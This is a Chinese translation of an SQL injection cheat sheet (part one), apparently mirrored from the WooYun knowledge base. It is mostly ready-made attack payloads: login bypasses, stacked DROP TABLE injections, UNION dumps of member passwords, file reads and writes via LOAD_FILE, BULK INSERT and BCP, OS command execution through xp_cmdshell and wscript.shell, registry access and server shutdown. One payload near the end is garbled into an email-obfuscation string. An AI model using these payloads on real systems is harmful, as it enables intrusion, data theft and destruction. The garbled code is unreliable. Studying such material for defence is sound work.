SQL隱碼攻擊速查表(上)

wyzsk發表於2020-08-19
作者: Yinz · 2015/08/19 10:37

0x00 關於SQL隱碼攻擊速查表


現在僅支援MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由於各種插入語、不同的程式碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。

樣例僅用於讀者理解對於“可能出現的攻擊(a potential attack)”的基礎概念,並且幾乎每一個部分都有一段簡潔的概要

  • M: MySQL
  • S: SQL Server
  • P: PostgreSQL
  • O: Oracle
  • +: (大概)其他所有資料庫

例子

  • (MS) 代表 : MySQL 和 SQL Server 等
  • (M*S) 代表 : 僅對某些版本或者某些附在後文中的特殊情況的 MySQL,以及SQL Server

0x01 目錄


  1. 關於SQL隱碼攻擊速查表
  2. 語法參考,攻擊樣例以及注入小技巧
    1. 行間註釋
      1. 使用了行間註釋的SQL隱碼攻擊樣例
    2. 行內註釋
      1. 使用了行內註釋的注入攻擊樣例
      2. MySQL版本探測攻擊樣例
    3. 堆疊查詢(Stacking Queries)
      1. 支援堆疊查詢的語言/資料庫
      2. 關於MySQL和PHP
      3. 堆疊注入攻擊樣例
    4. If語句
      1. MySQL的If語句
      2. SQL Server的If語句
      3. 使用了If語句的注入攻擊樣例
    5. 整數(Integers)的使用
    6. 字串操作
      1. 字串的串聯
    7. 沒有引號的字串
      1. 使用了16進位制的注入攻擊樣例
    8. 字串異化(Modification)與聯絡
    9. Union注入
      1. UNION-語言問題處理
    10. 繞過登陸介面(SMO+)
    11. 繞過檢查MD5雜湊的登陸介面
      1. 繞過MD5雜湊檢查的例子(MSP)
    12. 基於錯誤(Error Based)-探測欄位名
      1. 使用HAVING來探測欄位名(S)
      2. SELECT查詢中使用ORDER BY探測欄位數(MSO+)
    13. 資料型別、UNION、之類的
      1. 獲取欄位型別
    14. 簡單的注入(MSO+)
    15. 有用的函式、資訊收集、內建程式、大量注入筆記
      1. @@version(MS)
      2. 檔案插入(Bulk Insert)(S)
      3. BCP(S)
      4. SQL Server的VBS/WSH(S)
      5. 執行系統命令,xp_cmdshell(S)
      6. SQL Server中的一些特殊的表(S)
      7. SQL Server的其它內建程式(S)
      8. 大量MSSQL筆記
      9. 使用LIMIT(M)或ORDER(MSO)的注入
      10. 關掉SQL Server(S)
    16. 在SQL Server 2005中啟用xp_cmdshell
    17. 探測SQL Server資料庫的結構(S)
      1. 獲取使用者定義表
      2. 獲取欄位名
    18. 移動記錄(Moving records)(S)
    19. 快速的脫掉基於錯誤(Error Based)的SQL Server注入(S)

0x02 語法參考,攻擊樣例以及注入小技巧


行間註釋

註釋掉查詢語句的其餘部分

行間註釋通常用於註釋掉查詢語句的其餘部分,這樣你就不需要去修復整句語法了。

  • --(SM)

    DROP sampletable;--

  • #(M)

    DROP sampletable;#

使用了行間註釋的SQL隱碼攻擊樣例

使用者名稱:admin'--

  • 構成語句:SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 這會使你以admin身份登陸,因為其餘部分的SQL語句被註釋掉了。

行內註釋

透過不關閉註釋註釋掉查詢語句的其餘部分,或者用於繞過過濾,移除空格,混淆,或探測資料庫版本。

  • /*註釋內容*/(SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/*繞過過濾*/sampletable
    • SELECT/*替換空格*/password/**/FROM/**/Members
  • /*! MYSQL專屬 */ (M)

    這是個MySQL專屬語法。非常適合用於探測MySQL版本。如果你在註釋中寫入程式碼,只有MySQL才會執行。同樣的你也可以用這招,使得只有高於某版本的伺服器才執行某些程式碼。 SELECT /*!32302 1/0, */ 1 FROM tablename

使用了行內註釋的注入攻擊樣例

ID:10; DROP TABLE members /*

簡單地擺脫了處理後續語句的麻煩,同樣你可以使用10; DROP TABLE members --

MySQL版本探測攻擊樣例

SELECT /*!32302 1/0, */ 1 FROM tablename

如果MySQL的版本高於3.23.02,會丟擲一個division by 0 error

ID:/*!32302 10*/

ID:10

如果MySQL版本高於3.23.02,以上兩次查詢你將得到相同的結果

堆疊查詢(Stacking Queries)

一句程式碼之中執行多個查詢語句,這在每一個注入點都非常有用,尤其是使用SQL Server後端的應用

  • ;(S) SELECT * FROM members; DROP members-- 結束一個查詢並開始一個新的查詢

支援堆疊查詢的語言/資料庫

綠色:支援,暗灰色:不支援,淺灰色:未知

enter image description here

關於MySQL和PHP

闡明一些問題。

PHP-MySQL不支援堆疊查詢,Java不支援堆疊查詢(ORACLE的我很清楚,其他的就不確定了)。一般來說MySQL支援堆疊查詢,但由於大多數PHP-Mysql應用框架的資料庫層都不能執行第二條查詢,或許MySQL的客戶端支援這個,我不確定,有人能確認一下嗎?

(譯者注:MySQL 5.6.20版本下客戶端支援堆疊查詢)

堆疊注入攻擊樣例

ID:10;DROP members --

構成語句:SELECT * FROM products WHERE id = 10; DROP members--

這在執行完正常查詢之後將會執行DROP查詢。

If語句

根據If語句得到響應。這是盲注(Blind SQL Injection)的關鍵之一,同樣也能簡單而準確地進行一些測試。

MySQL的If語句

  • IF(condition,true-part,false-part)(M)

    SELECT IF (1=1,'true','false')

SQL Server的If語句

  • IF condition true-part ELSE false-part(S)

    IF (1=1) SELECT 'true' ELSE SELECT 'false'

使用了If語句的注入攻擊樣例

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0(S)

如果當前使用者不是"sa"或者"dbo",就會丟擲一個divide by zero error

整數(Integers)的使用

對於繞過十分有用,比如magic_quotes() 和其他類似過濾器,甚至是各種WAF。

  • 0xHEXNUMBER(SM)

    (HEXNUMBER:16進位制數) 你能這樣使用16進位制數:

    • SELECT CHAR(0x66)(S)

    • SELECT 0x5045(M) (這不是一個整數,而會是一個16進位制字串)

    • SELECT 0x50 + 0x45(M) (現在這是整數了)

字串操作

與字串相關的操作。這對於構造一個不含有引號,用於繞過或探測資料庫都非常的有用。

字串的串聯

  • +(S)

    SELECT login + '-' + password FROM members

  • || (*MO)

    SELECT login || '-' || password FROM members

*關於MySQL的"||" 這個僅在ANSI模式下的MySQL執行,其他情況下都會當成'邏輯運算子'並返回一個0。更好的做法是使用CONCAT()函式。

  • CONCAT(str1, str2, str3, ...)(M)

    連線引數裡的所有字串 例:SELECT CONCAT(login, password) FROM members

沒有引號的字串

有很多使用字串的方法,但是這幾個方法是一直可用的。使用CHAR()(MS)和CONCAT()(M)來生成沒有引號的字串

  • 0x457578 (M) - 16進位制編碼的字串

    SELECT 0x457578

    這在MySQL中會被當做字串處理

  • 在MySQL中使用16進位制字串的一個簡單方式: SELECT CONCAT('0x',HEX('c:\\boot.ini'))

  • 在MySQL中使用CONCAT()函式: SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)

    這會返回'KLM'

  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

    這會返回'KLM'

使用了16進位制的注入攻擊樣例

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

    這會顯示c:\boot.ini的內容

字串異化(Modification)與聯絡

  • ASCII() (SMP)

    返回最左邊字元的ASCII碼的值。這是一個用於盲注的重要函式。

    例:SELECT ASCII('a')

  • CHAR() (SM)

    把整數轉換為對應ASCII碼的字元

    例:SELECT CHAR(64)

Union注入

透過union你能跨表執行查詢。最簡單的,你能注入一個查詢使得它返回另一個表的內容。 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

這會把news表和members表的內容合併返回。

另一個例子: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION-語言問題處理

當你使用Union來注入的時候,經常會遇到一些錯誤,這是由於不同的語言的設定(表的設定、欄位設定、表或資料庫的設定等等)。這些辦法對於解決那些問題都挺有用的,尤其是當你處理日文,俄文,土耳其文的時候你會就會見到他們的。

  • 使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS(S)

    或者其它的什麼語句,具體的自己去查SQL Server的文件。 例:SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • Hex()(M)

    百試百靈~

繞過登陸介面(SMO+)

SQL隱碼攻擊101式(大概是原文名字吧?),登陸小技巧

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • 以不同的使用者登陸 (SM*) ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

**舊版本的MySQL不支援union*

繞過檢查MD5雜湊的登陸介面

如果應用是先透過使用者名稱,讀取密碼的MD5,然後和你提供的密碼的MD5進行比較,那麼你就需要一些額外的技巧才能繞過驗證。你可以把一個已知明文的MD5雜湊和它的明文一起提交,使得程式不使用從資料庫中讀取的雜湊,而使用你提供的雜湊進行比較。

繞過MD5雜湊檢查的例子(MSP)

使用者名稱:admin

密碼:1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055

其中81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

基於錯誤(Error Based)-探測欄位名

使用HAVING來探測欄位名(S)

  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ……
  • ' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --
  • 直到它不再報錯,就算搞定了

SELECT查詢中使用ORDER BY探測欄位數(MSO+)

透過ORDER BY來探測欄位數能夠加快union注入的速度。

  • ORDER BY 1--
  • ORDER BY 2--
  • ……
  • ORDER BY N--
  • 一直到它報錯為止,最後一個成功的數字就是欄位數。

資料型別、UNION、之類的

提示:

  • 經常給UNION配上ALL使用,因為經常會有相同數值的欄位,而預設情況下UNION都會嘗試返回唯一值(records with distinct)
  • 如果你每次查詢只能有一條記錄,而你不想讓原本正常查詢的記錄佔用這寶貴的記錄位,你可以使用-1或者根本不存在的值來搞定原查詢(前提是注入點在WHERE裡)。
  • 在UNION中使用NULL,對於大部分資料型別來說這樣都比瞎猜字串、日期、數字之類的來得強
    • 盲注的時候要小心判斷錯誤是來自應用的還是來自資料庫的。因為像ASP.NET就經常會在你使用NULL的時候丟擲錯誤(因為開發者們一般都沒想到使用者名稱的框中會出現NULL)

獲取欄位型別

  • ' union select sum(columntofind) from users-- (S)

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument. 如果沒有返回錯誤說明欄位是數字型別

  • 同樣的,你可以使用CAST()CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-

    沒報錯 - 語法是正確的。 這是MS SQL Server的語法。 繼續。

  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-

    沒報錯 – 第一個欄位是integer型別。

  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --

    報錯 – 第二個欄位不是integer型別

  • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-

    沒報錯 – 第二個欄位是string型別。

  • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-

    報錯 – 第三個欄位不是integer

  • ……

    Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.

你在遇到union錯誤之前會先遇到convert()錯誤,所以先使用convert()再用union

簡單的注入(MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

有用的函式、資訊收集、內建程式、大量注入筆記

@@version(MS)

資料庫的版本。這是個常量,你能把它當做欄位來SELECT,而且不需要提供表名。同樣的你也可以用在INSERT/UPDATE語句裡面,甚至是函式里面。

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

檔案插入(Bulk Insert)(S)

把檔案內容插入到表中。如果你不知道應用目錄你可以去讀取IIS metabase file(僅IIS 6)(%systemroot%\system32\inetsrv\MetaBase.xml)然後在裡面找到應用目錄。

  1. 新建一個表foo(line varchar(8000))
  2. BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'
  3. DROP了臨時表,重複另一個檔案

BCP(S)

寫入檔案。這個功能需要登入 bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

SQL Server的VBS/WSH(S)

由於ActiveX的支援,你能在SQL Server中使用VBS/WSH

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

執行系統命令,xp_cmdshell(S)

眾所周知的技巧,SQL Server 2005預設是關閉的。你需要admin許可權

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

用ping簡單的測試一下,用之前先檢查一下防火牆和嗅探器。

EXEC master.dbo.xp_cmdshell 'ping '

如果有錯誤,或者union或者其他的什麼,你都不能直接讀到結果。

SQL Server中的一些特殊的表(S)

  • Error Messages

    master..sysmessages

  • Linked Servers

    master..sysservers

  • Password (2000和2005版本的都能被破解,這倆的加密演算法很相似)

    SQL Server 2000: masters..sysxlogins

    SQL Server 2005 : sys.sql_logins

SQL Server的其它內建程式(S)

  1. 命令執行 (xp_cmdshell)

    exec master..xp_cmdshell 'dir'

  2. 登錄檔操作 (xp_regread)

    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite

      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \CurrentControlSet \Services\snmp\parameters\validcommunities'

  3. 管理服務(xp_servicecontrol)

  4. 媒體(xp_availablemedia)

  5. ODBC 資源 (xp_enumdsn)

  6. 登入 (xp_loginconfig)
  7. 建立Cab檔案 (xp_makecab)
  8. 域名列舉 (xp_ntsec_enumdomains)
  9. 殺程式 (need PID) (xp_terminate_process)
  10. 新建程式 (實際上你想幹嘛都行)

    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ exec xp_webserver

  11. 寫檔案進UNC或者內部路徑 (sp_makewebtask)

大量MSSQL筆記

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

你不能在 SQL Server 的Insert查詢裡使用子查詢(sub select).

使用LIMIT(M)或ORDER(MSO)的注入

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

如果注入點在LIMIT的第二個引數處,你可以把它註釋掉或者使用union注入。

關掉SQL Server(S)

如果你真的急了眼,';shutdown --

在SQL Server 2005中啟用xp_cmdshell

預設情況下,SQL Server 2005中像xp_cmdshell以及其它危險的內建程式都是被禁用的。如果你有admin許可權,你就可以啟動它們。

`\ EXEC sp_configure 'show advanced options',1 RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE `\

探測SQL Server資料庫的結構(S)

獲取使用者定義表

SELECT name FROM sysobjects WHERE xtype = 'U'

獲取欄位名

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

移動記錄(Moving records)(S)

  • 修改WHERE,使用NOT IN或者NOT EXIST ... WHERE users NOT IN ('First User', 'Second User') SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- 這個好用

  • 髒的不行的小技巧

    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

快速的脫掉基於錯誤(Error Based)的SQL Server注入(S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @[email protected]+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

詳情請參考:Fast way to extract data from Error Based SQL Injections

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章